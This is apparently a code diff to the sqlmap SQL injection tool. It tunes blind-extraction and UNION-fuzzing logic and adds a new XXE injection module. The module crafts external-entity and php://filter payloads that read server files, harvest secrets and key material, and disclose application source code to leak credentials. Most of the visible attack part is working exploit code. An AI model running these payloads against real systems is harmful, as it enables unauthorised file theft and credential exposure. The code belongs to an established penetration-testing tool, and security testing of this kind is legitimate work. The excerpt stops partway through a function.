restricted means charTbl is a narrowed per-column observed range (time-based only): a character
|
||||
landing outside it fails validateChar and is re-extracted over the full charset.
|
||||
"""
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
|
@ -381,7 +639,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
if result:
|
||||
return result
|
||||
|
||||
if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare
|
||||
# Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for
|
||||
# time-based, where each membership step is timing-noisy and lacks per-character validation
|
||||
# (measured to trade accuracy for little/no gain there); time-based relies on plain bisection
|
||||
# plus low-cardinality whole-value guessing instead.
|
||||
if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare
|
||||
and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload
|
||||
and ("'%s'" % CHAR_INFERENCE_MARK) not in payload):
|
||||
kb.huffmanProbes = (kb.huffmanProbes or 0) + 1
|
||||
|
|
@ -545,6 +807,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
||||
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
|
||||
if restricted:
|
||||
# the character fell outside this column's observed range - re-extract
|
||||
# over the full charset (not timing noise, so no delay increase / retry count)
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
if not kb.originalTimeDelay:
|
||||
kb.originalTimeDelay = conf.timeSec
|
||||
|
||||
|
|
@ -625,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
return None
|
||||
else:
|
||||
return decodeIntToUnicode(candidates[0])
|
||||
elif restricted:
|
||||
# the self-validating '=' failed: the character is outside this column's observed set
|
||||
# (or is end-of-string) - re-extract over the full charset, which validates the value
|
||||
# and detects end-of-string correctly
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
|
|
@ -732,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
# Common prediction feature (a.k.a. "good samaritan")
|
||||
# NOTE: to be used only when multi-threading is not set for
|
||||
# the moment
|
||||
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0:
|
||||
val = None
|
||||
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
||||
commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl)
|
||||
|
||||
# If there is one single output in common-outputs, check
|
||||
# If a single wordlist entry matches the prefix, confirm
|
||||
# it via equal against the query output
|
||||
if commonValue is not None:
|
||||
# One-shot query containing equals commonValue
|
||||
|
|
@ -778,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
val = commonPattern[index - 1:]
|
||||
index += len(val) - 1
|
||||
|
||||
# Otherwise if there is no commonValue (single match from
|
||||
# txt/common-outputs.txt) and no commonPattern
|
||||
# (common pattern) use the returned common charset only
|
||||
# to retrieve the query output
|
||||
if not val and commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
# If we had no luck with commonValue and common charset,
|
||||
# use the returned other charset
|
||||
# Char-by-char fallback. When Huffman is actually active it is driven over the full
|
||||
# (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next
|
||||
# character at its root (~1 request), subsuming the common/other charset split. When
|
||||
# Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED
|
||||
# where getChar disables it) the classic reordered-charset bisection is used instead - so
|
||||
# the predicted commonCharset ordering is not thrown away (time-based would otherwise pay
|
||||
# full-charset bisection for every character).
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare:
|
||||
val = getChar(index, asciiTbl, True)
|
||||
else:
|
||||
if commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
# Time-based dump: once a column's character set has proven closed (unchanged for
|
||||
# DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those
|
||||
# observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality
|
||||
# self-validates the character (no separate validateChar). A narrow-charset column (hex,
|
||||
# digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1
|
||||
# delayed requests/char. A character outside the observed set makes that '=' fail and is
|
||||
# re-extracted over the full charset (see the restricted escalation in getChar). Time-based
|
||||
# only: boolean has no per-character validation to catch such a miss (and uses Huffman).
|
||||
restrictedTbl = None
|
||||
if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset
|
||||
and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS):
|
||||
with kb.locks.prediction:
|
||||
observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe)
|
||||
if observed and len(observed) <= 64:
|
||||
# include the 0 end-of-string sentinel so end is detected in-band (the bit-search
|
||||
# returns None on 0), avoiding a full-charset escalation at the end of every value
|
||||
restrictedTbl = sorted(observed | set((0,)))
|
||||
|
||||
if restrictedTbl is not None:
|
||||
val = getChar(index, restrictedTbl, False, expand=False, restricted=True)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
|
||||
if val is None:
|
||||
finalValue = partialValue
|
||||
|
|
@ -831,11 +1128,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one
|
||||
hashDBWrite(expression, finalValue)
|
||||
|
||||
# Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted
|
||||
# value for its enumeration context so later same-context items sharing structure are predicted
|
||||
# faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool);
|
||||
# a wrong prediction only ever costs a probe and falls back to bisection.
|
||||
if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None
|
||||
# Adaptive intra-run prediction: remember this extracted name for its enumeration context so
|
||||
# later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster.
|
||||
# Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a
|
||||
# value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe.
|
||||
if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None
|
||||
and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
|
||||
kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
|
||||
|
|
@ -861,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
_ = finalValue or partialValue
|
||||
|
||||
# Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most
|
||||
# common values are probed first; bounded so a clearly high-cardinality column stops accumulating).
|
||||
if columnKey is not None and finalValue:
|
||||
# Track the column's low-cardinality cache and observed character set. Guarded by the prediction
|
||||
# lock because value-parallel dump workers update these concurrently.
|
||||
ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128)
|
||||
with kb.locks.prediction:
|
||||
seen = kb.lowCardCache.setdefault(columnKey, {})
|
||||
if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2:
|
||||
seen[finalValue] = seen.get(finalValue, 0) + 1
|
||||
|
||||
if ordinals:
|
||||
existing = kb.dumpCharset.setdefault(columnKey, set())
|
||||
grew = not ordinals.issubset(existing) # did this row introduce a never-seen character?
|
||||
existing.update(ordinals)
|
||||
# Trust the observed alphabet as closed only after it stays unchanged for several consecutive
|
||||
# rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and
|
||||
# never triggers the restricted search, so it is never charged the miss-then-escalate cost.
|
||||
kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1
|
||||
|
||||
# Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a
|
||||
# known-answer differential so an always-true / flaky / degraded channel that would otherwise dump
|
||||
# SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always
|
||||
# checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th.
|
||||
if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode
|
||||
and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)):
|
||||
with kb.locks.prediction:
|
||||
kb.litmusCounter += 1
|
||||
due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0)
|
||||
if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare):
|
||||
kb.reliabilityAlarm = True
|
||||
warnMsg = "the target's responses are inconsistent for known-true/known-false probes "
|
||||
warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may "
|
||||
warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
|
|
|
|||
|
|
@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN
|
|||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||
from lib.core.settings import FUZZ_UNION_MAX_REQUESTS
|
||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||
from lib.core.settings import MAX_RATIO
|
||||
from lib.core.settings import MIN_RATIO
|
||||
|
|
@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix):
|
|||
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||
random.shuffle(choices)
|
||||
|
||||
attempts = 0
|
||||
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||
if retVal:
|
||||
if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search
|
||||
break
|
||||
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||
continue
|
||||
else:
|
||||
attempts += 1
|
||||
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||
|
|
@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|||
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||
if kb.fuzzUnionTest is None:
|
||||
msg = "do you want to (re)try to find proper "
|
||||
msg += "UNION column types with fuzzy test? [y/N] "
|
||||
msg += "UNION column types with a fuzzy test? [Y/n] "
|
||||
|
||||
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
||||
kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True)
|
||||
if kb.fuzzUnionTest:
|
||||
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||
|
||||
# apply the discovered per-column type template through a normal confirmation so
|
||||
# the resulting vector (and later extraction) is built with type-compatible columns
|
||||
if kb.unionTemplate:
|
||||
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate))
|
||||
|
||||
warnMsg = "if UNION based SQL injection is not detected, "
|
||||
warnMsg += "please consider "
|
||||
|
||||
if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
|
||||
if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None:
|
||||
message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
|
||||
|
||||
if not readInput(message, default='Y', boolean=True):
|
||||
|
|
@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix):
|
|||
negativeLogic = kb.negativeLogic
|
||||
setTechnique(PAYLOAD.TECHNIQUE.UNION)
|
||||
|
||||
kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter
|
||||
|
||||
try:
|
||||
if negativeLogic:
|
||||
pushValue(kb.negativeLogic)
|
||||
|
|
|
|||
|
|
@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request
|
|||
from lib.utils.progress import ProgressBar
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
|
||||
def _oneShotUnionUse(expression, unpack=True, limited=False):
|
||||
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
|
||||
|
|
|
|||
8
lib/techniques/xxe/__init__.py
Normal file
8
lib/techniques/xxe/__init__.py
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
928
lib/techniques/xxe/inject.py
Normal file
928
lib/techniques/xxe/inject.py
Normal file
|
|
@ -0,0 +1,928 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dicts import POST_HINT_CONTENT_TYPES
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.settings import ASTERISK_MARKER
|
||||
from lib.core.settings import XXE_BLACKHOLE_HOST
|
||||
from lib.core.settings import XXE_ERROR_SIGNATURES
|
||||
from lib.core.settings import XXE_FILE_HARVEST
|
||||
from lib.core.settings import XXE_HARDENED_REGEX
|
||||
from lib.core.settings import XXE_IMPACT_FILES
|
||||
from lib.core.settings import XXE_SOURCE_NAMES
|
||||
from lib.core.settings import XXE_WEBROOTS
|
||||
from lib.core.settings import OOB_POLL_ATTEMPTS
|
||||
from lib.core.settings import OOB_POLL_DELAY
|
||||
from lib.core.settings import XXE_LOCAL_DTDS
|
||||
from lib.core.settings import XXE_TIME_THRESHOLD
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
# Fresh per-scan sentinel token. Deliberately a random opaque string (never
|
||||
# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
|
||||
# so its presence in a response is unambiguously our reflected/expanded value.
|
||||
SENTINEL = randomStr(length=12, lowercase=True)
|
||||
|
||||
# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'),
|
||||
# it is preserved as this placeholder and used as the SOLE injection spot, instead of
|
||||
# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
|
||||
_MARKER = None
|
||||
|
||||
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
|
||||
_OOB_CONSENT = None
|
||||
|
||||
# First element of the document (skipping the <?xml?> prolog, comments and any
|
||||
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
|
||||
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
|
||||
|
||||
# A leaf text node: >text< with no markup/entities inside. Used to place an
|
||||
# entity reference where the application is most likely to echo it back.
|
||||
_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<")
|
||||
|
||||
|
||||
def _looksXml(data):
|
||||
data = (getText(data) or "").strip()
|
||||
return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
|
||||
|
||||
|
||||
def _toSystemId(path):
|
||||
"""Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
|
||||
consistently across every tier."""
|
||||
p = getText(path or "").strip()
|
||||
if "://" in p:
|
||||
return p
|
||||
return "file:///" + p.replace("\\", "/").lstrip("/")
|
||||
|
||||
|
||||
def _toResource(path):
|
||||
"""Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
|
||||
p = getText(path or "").strip()
|
||||
if p.startswith("file://"):
|
||||
p = p[len("file://"):]
|
||||
p = p.replace("\\", "/")
|
||||
if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
|
||||
return p.lstrip("/")
|
||||
return "/" + p.lstrip("/")
|
||||
|
||||
|
||||
def _cleanBody():
|
||||
"""Return the original request body with sqlmap's injection marks removed.
|
||||
Order matters: drop the injected custom marks first (any literal '*' from the
|
||||
original body was already escaped to ASTERISK_MARKER by target processing),
|
||||
then restore those escaped asterisks."""
|
||||
global _MARKER
|
||||
_MARKER = None
|
||||
data = getText(conf.data or "")
|
||||
mark = kb.customInjectionMark or "\x00"
|
||||
if kb.get("processUserMarks") and mark in data:
|
||||
# user chose the injection point explicitly - honour it as the SOLE spot
|
||||
_MARKER = "xxemark%s" % randomStr(10, lowercase=True)
|
||||
data = data.replace(mark, _MARKER, 1).replace(mark, "")
|
||||
else:
|
||||
data = data.replace(mark, "")
|
||||
data = data.replace(ASTERISK_MARKER, "*")
|
||||
return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
|
||||
|
||||
|
||||
def _rootName(xml):
|
||||
stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL)
|
||||
stripped = re.sub(r"<!--.*?-->", "", stripped, flags=re.DOTALL)
|
||||
stripped = re.sub(r"<!DOCTYPE[^>]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL)
|
||||
match = _ROOT_RE.search(stripped)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def _auxHeaders():
|
||||
"""Send an XML content-type unless the user already pinned one (via -H/-r)."""
|
||||
for name, _ in (conf.httpHeaders or []):
|
||||
if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower():
|
||||
return None
|
||||
return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"}
|
||||
|
||||
|
||||
def _send(body):
|
||||
"""Issue one request with a fully-crafted XML body, preserving sqlmap's normal
|
||||
request machinery (URL, cookies, headers, proxy, delay) for everything else."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
if _MARKER and not isinstance(body, bytes) and _MARKER in body:
|
||||
body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
|
||||
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
|
||||
page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("XXE probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
|
||||
|
||||
def _buildDoctype(xml, rootName, internalSubset):
|
||||
"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
|
||||
A document may already declare a DOCTYPE - injecting a second one is invalid
|
||||
XML and every parser rejects it, so we splice into the existing declaration
|
||||
instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
|
||||
|
||||
existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
|
||||
if existing:
|
||||
# Splice our declarations into the existing internal subset.
|
||||
insertAt = xml.index('[', existing.start()) + 1
|
||||
return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
|
||||
|
||||
subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
|
||||
if subsetless:
|
||||
# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
|
||||
# add an internal subset before its closing '>' (both may legally coexist).
|
||||
close = xml.index('>', subsetless.start())
|
||||
return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
|
||||
|
||||
doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
|
||||
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
|
||||
if prolog:
|
||||
end = prolog.end()
|
||||
return xml[:end] + "\n" + doctype + xml[end:]
|
||||
return doctype + "\n" + xml
|
||||
|
||||
|
||||
def _placeRef(xml, snippet, attrs=False):
|
||||
"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
|
||||
text node - not just the first - so detection does not depend on which field the
|
||||
application happens to reflect. When `attrs` is set (internal-entity tier only),
|
||||
also seed existing attribute values, since a general internal entity legally
|
||||
expands inside an attribute (external entity refs do NOT - never seed attributes
|
||||
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
|
||||
injecting just before the root's closing tag when there is no text node at all."""
|
||||
|
||||
if _MARKER and _MARKER in xml:
|
||||
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
|
||||
|
||||
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
|
||||
head, tail = xml[:start], xml[start:]
|
||||
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
|
||||
if attrs:
|
||||
# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
|
||||
# whose rewriting would break the document. Only touches simple, entity-free
|
||||
# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
|
||||
tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
|
||||
lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
|
||||
count += acount
|
||||
if count:
|
||||
return head + tail
|
||||
|
||||
rootName = _rootName(xml)
|
||||
if rootName:
|
||||
close = "</%s>" % rootName
|
||||
if close in xml:
|
||||
idx = xml.rindex(close)
|
||||
return xml[:idx] + snippet + xml[idx:]
|
||||
# self-closing root: <root/> -> <root>snippet</root>
|
||||
selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml)
|
||||
if selfClose:
|
||||
tag = selfClose.group(0)
|
||||
opened = tag[:-2] + ">" + snippet + close
|
||||
return xml[:selfClose.start()] + opened + xml[selfClose.end():]
|
||||
return xml
|
||||
|
||||
|
||||
def _fingerprint(page):
|
||||
page = getUnicode(page or "")
|
||||
for family, regex in XXE_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return family
|
||||
return None
|
||||
|
||||
|
||||
def _echoed(page):
|
||||
"""True when the response mirrors our markup back (a debug/echo endpoint that
|
||||
never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration
|
||||
we send, an echo would otherwise look like a genuine reflected/error hit. We match
|
||||
the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and
|
||||
percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is
|
||||
still recognised as an echo regardless of whether decodePage normalised it."""
|
||||
page = getUnicode(page or "").lower()
|
||||
for kw in ("!doctype", "!entity"):
|
||||
for lt in ("<", "<", "<", "<", "%3c", "\\u003c"):
|
||||
if lt + kw in page:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _report(title, payload):
|
||||
if conf.beep:
|
||||
beep()
|
||||
place = conf.method or HTTPMETHOD.POST
|
||||
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
|
||||
|
||||
|
||||
def _saveFileRead(remoteFile, content):
|
||||
"""Save an XXE-read file to the output directory (parity with '--file-read') and
|
||||
return its local path, or None if it could not be written."""
|
||||
try:
|
||||
return dataToOutFile(remoteFile, getBytes(content))
|
||||
except Exception as ex:
|
||||
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
|
||||
return None
|
||||
|
||||
|
||||
def _dumpFileRead(remoteFile, content):
|
||||
"""Save a single XXE-read file and list it; fall back to a console dump if the
|
||||
file cannot be written."""
|
||||
localPath = _saveFileRead(remoteFile, content)
|
||||
if localPath:
|
||||
conf.dumper.rFile([localPath])
|
||||
else:
|
||||
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
|
||||
|
||||
|
||||
def _harvestFiles(xml, rootName):
|
||||
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
|
||||
confirmed: pull a curated set of high-value fixed-path files (host identity,
|
||||
process env/secrets, key material) the way the other non-SQL engines auto-dump
|
||||
their reachable data. Returns a list of (path, content, payload) for every file
|
||||
that read back non-empty; unreadable/absent files are silently skipped. Content is
|
||||
de-duplicated so a parser that resolves every missing path to the same stub cannot
|
||||
masquerade as many distinct reads."""
|
||||
|
||||
harvested = []
|
||||
seen = set()
|
||||
for path in XXE_FILE_HARVEST:
|
||||
content, payload = _tryInbandFileRead(xml, rootName, path)
|
||||
if content and content.strip():
|
||||
key = content.strip()
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
harvested.append((path, content, payload))
|
||||
return harvested
|
||||
|
||||
|
||||
def _phpFilterWorks(xml, rootName):
|
||||
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
|
||||
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
|
||||
requests for it."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
|
||||
ent = randomStr(8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
|
||||
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
|
||||
if match and match.group(1).strip():
|
||||
try:
|
||||
return bool(getText(decodeBase64(match.group(1).strip())).strip())
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
|
||||
def _harvestSource(xml, rootName, harvested):
|
||||
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
|
||||
server-side application SOURCE code via php://filter (source is executed, never
|
||||
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
|
||||
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
|
||||
(running script + working dir) combined with common web roots/source names, and
|
||||
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
|
||||
target. Returns a list of (path, content, payload)."""
|
||||
|
||||
if not _phpFilterWorks(xml, rootName):
|
||||
return []
|
||||
|
||||
byPath = dict((p, c) for p, c, _ in harvested)
|
||||
seen = set(getUnicode(c).strip() for c in byPath.values())
|
||||
candidates = []
|
||||
|
||||
dirs = []
|
||||
environ = getUnicode(byPath.get("/proc/self/environ", ""))
|
||||
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
|
||||
cwd = match.group(1).strip() if match else None
|
||||
if cwd:
|
||||
dirs.append(cwd)
|
||||
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
|
||||
|
||||
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
|
||||
for token in re.split(r"[\x00\s]+", cmdline):
|
||||
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
|
||||
if token.startswith("/"):
|
||||
candidates.append(token) # absolute script path
|
||||
elif cwd:
|
||||
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
|
||||
|
||||
for directory in dirs:
|
||||
for name in XXE_SOURCE_NAMES:
|
||||
candidates.append("%s/%s" % (directory.rstrip("/"), name))
|
||||
|
||||
logger.info("attempting application source-code disclosure via php://filter")
|
||||
|
||||
result = []
|
||||
read = set()
|
||||
for path in candidates:
|
||||
if path in read:
|
||||
continue
|
||||
read.add(path)
|
||||
content, payload = _tryInbandFileRead(xml, rootName, path)
|
||||
if content and content.strip() and getUnicode(content).strip() not in seen:
|
||||
seen.add(getUnicode(content).strip())
|
||||
result.append((path, content, payload))
|
||||
return result
|
||||
|
||||
|
||||
def _tryInternal(xml, rootName, baseline):
|
||||
"""T2 in-band: an internal general entity expands to the sentinel and is
|
||||
reflected. Guarded by a negative control (sentinel absent from baseline) and
|
||||
a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
|
||||
app merely mirrors the body without parsing entities)."""
|
||||
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
|
||||
page = _send(payload)
|
||||
|
||||
